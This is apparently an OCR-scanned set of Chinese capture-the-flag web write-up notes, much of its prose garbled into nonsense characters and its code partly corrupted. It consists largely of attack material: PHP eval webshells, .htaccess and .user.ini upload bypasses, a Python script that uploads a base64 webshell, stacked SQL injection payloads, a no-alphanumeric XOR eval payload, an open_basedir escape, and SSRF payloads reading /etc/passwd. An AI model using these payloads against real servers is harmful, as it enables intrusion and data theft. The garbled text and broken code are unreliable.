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<?php
eval($_post[1]);
?>

HRAAT, RElcontentsH A, Ui BIXS SO R BEAT T ik 38
RFIFUZZT—TF, <> #digT, HAENZKAE
R T N—AERD

<script language='php'>eval($_POST[1]);</script>

BATATCME pngIfFit %, XHFAR

GIF89a
—HIEARY

A% user.ini >

AR
auto_prepend_file=/var/www/html/upload/....(#4#&)
auto_append_file=/var/www/html/upload/.... (B&&)

RJE RIS E R BE BV Hurl, HariuT

POST:1=var_dump(scandir("/")); k%
RJG1=var_dump(system("cat /f*"));

W R htaccess
RBEEXMHEAFR—T
SetHandler application/x-httpd-php,EB2#3C #8452 Aphp ST HHAT .
2%:.
.user.iniggid
.user.ini XX R BIPHPJS 1 - phithOn (wooyun.js.org)
.htaccess&eid
[CTF].htaccessHIf# 15 45 Yatackerf) 1§ & -CSDNI#&
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https://blog.csdn.net/weixin_39190897/article/details/86772765
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_[ Results T Target T Positions T Payloads T Options 1

Filter: Showing all items LKJ
Request L| Payload | Status | Error | 'I'|meu|..|t| Length | Comment

0 200 0 (] 807 .
1 length 200 0 (] 500

2 + 200 0 (] 500

3 handler 200 [] [ ] 507

4 like 200 0 (] 807

5 select 200 J [] 500

6 sleep 200 J [] s07

7 database 200 J [] 500

8 delete 200 0 (] 807

9 having 200 0 (] 500 -
10 ar 200 1 [l &07 b

B3 ; BALE, RATATLAREMAR—, FHEREA
S I HE B E AR —

1;show databases;
1;use ctf;show tables;

REEEFIRAL R Flag REWAHEEM T, Fwp
6] & sqliEf)
$sql = "select ".$post['query']."||flag from Flag";

|| fEsqlifA Ry 8, WA RSB, HATHsqiEAIA:

select 1||flag from Flag ==select 1 from Flag

3 1 A
HERANEMpayload

* 9.
»1;

select *,1||flag from Flag ==select *,1 from Flag

MY F AT select * from Flag 7 LATS Flflag
ol A
FIF sql_mode HAT R E

#sql_mode it B APIPES_AS_CONCATHJE, ||BiAHERZEEorT, MR T /5 EER.
F % B2 J5 select 1||flag from Flag #iZEL T select 1 from Flag l select flag from Flag IS RHEZER—ET .

% Fsql_mode, i ABF XA
MySQL SQL_ MODE##_TPUBIE%

payload

1;set sql_mode=PIPES_AS_CONCAT;select 1
==select 1;set sql_mode=PIPES AS CONCAT;select 1||flag from Flag;
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<?php

function get_the_flag(){
// webadmin will remove your upload file every 26 min!!!!
$userdir = "upload/tmp_".md5($_SERVER[ 'REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
¥
if(lempty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,”.")+1);
if(preg_match("/ph/i",$extension)) die("~_~");
if(mb_strpos(file_get contents($tmp_name), '<?')!==False) die("~_"");
if(lexif_imagetype($tmp_name)) die("~_~");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);

$hhh = @$_GET['_'];

if (!$hhh){
highlight file(__ FILE_ );
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x@0- 0-9A-Za-z\'"\'~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>



EEE B

<?php
$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE_ );
)
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
¥

if ( preg_match('/[\x@0- 0-9A-Za-z\'"\'~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);

if(strlen($hhh)>18){
die('One inch long, one inch strong!');

TR K REEIE18

if ( preg_match('/[\x@0- 0-9A-Za-z\'"\'~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

NI THFNFR, BENS, ERER T EFBETFHRIT S HEE
EFBHFod IENRER S (& LAARN . REG B BUR. BEEA) PKE%-CSDNEE Rl

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

count_charsf/ 4

R BT B R AN R 12,

HERERT ~,&, |, _FTURMAGRA ~ BB, BB —HRE

AT T EME

("%08%02%08%08%05%0d" A" %7b%7b%7b%7 C%60%60" ) ("%OCkO8" A "%60%7b" ) ; //system("Ls");
ERFEASIET BG5S, FrUBREFERAR—H, BIFEMEGETER

X)LE A


https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://blog.csdn.net/miuzzx/article/details/109143413?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164084791616780255243640%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=164084791616780255243640&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-109143413.nonecase&utm_term=%25E6%2597%25A0%25E6%2595%25B0%25E5%25AD%2597&spm=1018.2226.3001.4450
https://www.php.net/manual/zh/function.count-chars.php

<?php

$1 = "5

$ro= "

$argv = str_split("_GET");
for($i=0;%i<count($argv);$i++)

{
for($j=0;%$7<255;%j++)
{
$k = chr($j)~chr(255); //dechex(255) = ff
if($k == $argv[$i]){
if($j<16){
$1 .= "%ff";
$r .= "%0" . dechex($7j);
continue;
telse {
$1 .= "%FF";
$r .= "%" . dechex(%$3);
continue;
}
}
¥
¥
echo "$r~$1".PHP_EOL;
?>
CE

?_=${%a0%b8%ba%ab  bf FUfFUff%ff}{%fF}();8%Ff=phpinfo;

EXIL, ST, ${ GETHYFFY() ==$_GET[%FF]() ,RJ5 %ff=phpinfo, FtT LA$h4Tphpinfo, FFLL, WAIBEHITEE, HER
&

P =${%FfUffUtfritf %a0%b8%bakab}{%ff}();8&%ff=get_the_flag
BtAlLleval(get_the_flag());

B BRSO R 2

function get_the flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER[ 'REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(lempty($_FILES["file"])){
$tmp_name = $ FILES["file"]["tmp_name"];
$name = $ FILES["file"]["name"];
$extension = substr($name, strrpos($name,”.")+1);
if(preg_match("/ph/i",$extension)) die("~_~");
if(mb_strpos(file_get contents($tmp name), '<?')!==False) die("~_"");
if(lexif_imagetype($tmp_name)) die("~_~");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);



$_FILES namefitmp_name® {4 X 5

$_FILES[FB4 ] [name | —RIFHICAFAE EEENSR LRCHE,
$_FILES[FEt4 ][ tmp_name ] —{RTFHIR A A% BI MRS Sl I SO 2 JE B SCHE 42

—JEBRAIBLZ NS _FILES[FEBRLZ | [name | 3RE L4 . VP RBRLLER, MEFMEN R —BEASERNE XML, REHEEN T4 FILES
[FB 4 [tmp_name ] 3hid £,

BT phIEEH, SCHENEREE <2, MFphiIE4, BEIT .htaccess M .user.ini X, .user.ini RELEXHFRFEH
php3Cf, FAVEM .htaccess

exif_imagetype() St —MEGHIE N FHIHREHESL.
FFEEHE ) R AE SR I —A GIF89a , {HFE .htaccess M EHEHH GIF89a LA, {HHWIT i7ik:
k1.

#define width 1337
#define height 1337

Ti2:

fE . htaccessHI % INx00x00x8ax39x8ax39 (EBE TN HI i S H i, & HpythonfbytesAl)
x00x00x8ax39x8ax39 Fwbmp LIS HF sk

.htaccessH Liox00F ki F At RIEBERF, FrlA A& . htaccess

MHENEEA <2, B-ERERE T XM EEEPHPTUUEMASIR T, BHAT.
XA — L

#define width 1337

#define height 1337

AddType application/x-httpd-php .feng
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.sss

it filterthh X H B Hshell.sss UM, fEshell.sss5ifbase644mid1 L, R /Efilterid i nl LUERIRUR .
EF b3, BATH Hpythonfil A E 1%,



import requests
import base64

# EEXEFE H# .

htaccess = b"""

#define width 1337

#define height 1337

AddType application/x-httpd-php .sss

php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.sss"

shell = b"GIF89all" + base64.b64encode(b"<?php eval($_POST['cmd']);?>") #GIF89/5HI1LZEN T Wi Ebase64iiy
url = "http://832153d1-9878-4fc7-99cd-c19622756344.node4.buuoj.cn:81/? =${%86%86%86%86"%d9%c1%c3%d2}{%86}();&%86
=get_the_flag"

files = {'file':('.htaccess',htaccess, ' 'image/jpeg')}

data = {"upload":"Submit"}

response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.sss',shell, "image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

BAET LEREE, BEBERSERE
{HREFphpinfo()5, TEFE open_basedir , XJLEEES:Topen basedir

mkdir('flag');
chdir('flag');

ini_set('open_basedir','..");
chdir('..");
chdir('..");
chdir('..");
chdir('..");
chdir('..");
chdir('..");
chdir('..");
chdir('..");

ini_set('open_basedir','/");
var_dump(scandir('/"));

B3R H3, % var_dump(scandir('/")); #eik var_dump(file get contents("THis_Is_tHe F14g")); f§%lflag.
Pythonginx
nginxE E X -4 &

BLE SR B F: /etc/nginx

FEEXM: /etc/nginx/conf/nginx.conf

EHPA: /usr/lib64/systemd/system/nginx.service
M. /usr/1lisb64/nginx/modules

MFERF: /usr/sbin/nginx

BFRINEMALE: /usr/share/nginx/html
HERINFBALLE: /var/log/nginx

BLE X H®N: /usr/local/nginx/conf/nginx.conf

wp


https://blog.csdn.net/unexpectedthing/article/details/121916703

B RS

from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote

from urllib import parse

import urllib.request

app = Flask(__name__ )

# Index
@app.route('/"', methods=[ 'GET'])
def app_index():
return render_template('index.html")

@app.route('/getUrl', methods=["'GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "#7F your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "7+ your problem? 222 " + host
newhost = []
for h in host.split('."):
newhost.append(h.encode( 'idna").decode( 'utf-8"))
parts[1] = '.'.join(newhost)
#EH url PRI
finalUrl = urlunsplit(parts).split(' ')[@]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl, timeout=2).read()
else:
return "+ your problem? 333"

if _name__ == "_ main__ ":

app.run(host="'0.0.0.0", port=80)

BHAESIAE, BIFELT — hostname , #R)5 urlsplit B E4d—4 hostname , #RJ5 urlsplit ,IXIRFE
H hostname==suctf.cc , B aFF urllib.request.urlopen A LLSEPLEFEZERE G 1A, BRI XA .

B SRR DAL AR BE T 1, BT AR File PN BE SRR 5 8 L S0
TR B



from urllib.parse import urlsplit,urlunsplit,unquote
from urllib import parse

url="file:suctf.cc/usr/local/nginx/conf/nginx.conf"
#url="http:///www.baidu.com/index.php?id=1"

host=parse.urlparse(url).hostname
print(host)

parts=parse.urlsplit(url)
print(parts)

url2=urlunsplit(parts)
parts2=parse.urlsplit(url2)

print(parts2)

iR

None
SplitResult(scheme="'file', netloc=""', path='//suctf.cc/usr/local/nginx/conf/nginx.conf', query='"', fragment="")
SplitResult(scheme="'file', netloc="suctf.cc', path='/usr/local/nginx/conf/nginx.conf', query='"', fragment='")

AT, AT DASEBLPI IR S8 hostname
Zeidbypass, HEEF A

payload:
Purl=file:suctf.cc/etc/passwd

Purl=file:suctf.cc/usr/local/nginx/conf/nginx.conf // LB E X1
?url=file:suctf.cc/usr/fffffflag

T2
HERWRMH TR
A



from urllib.parse import urlparse, urlunsplit, urlsplit
from urllib import parse

def get_unicode():
for x in range(65536):

uni = chr(x)
url = "http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: " + uni + ' unicode: \\u' + str(hex(x))[2:])
except:
pass

def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('."):
newhost.append(h.encode( 'idna").decode( 'utf-8"))
parts[1] '.".join(newhost)
finalUrl = urlunsplit(parts).split(' ')[@]
host = parse.urlparse(finalUrl).hostname

if host == 'suctf.cc':
return True

else:
return False

if _name__ == ' main__ ":

get_unicode()

HE3
url# junicode i 51 & 384 22 4 ) 75
idna 5 utf-8 4 1% I 1A

AR H R —B

for h in host.split('."):
newhost.append(h.encode( 'idna").decode( 'utf-8"))

B XA AR T clu
payload

Purl=file://suctf.c sr/local/nginx/conf/nginx.conf

R RHEA s
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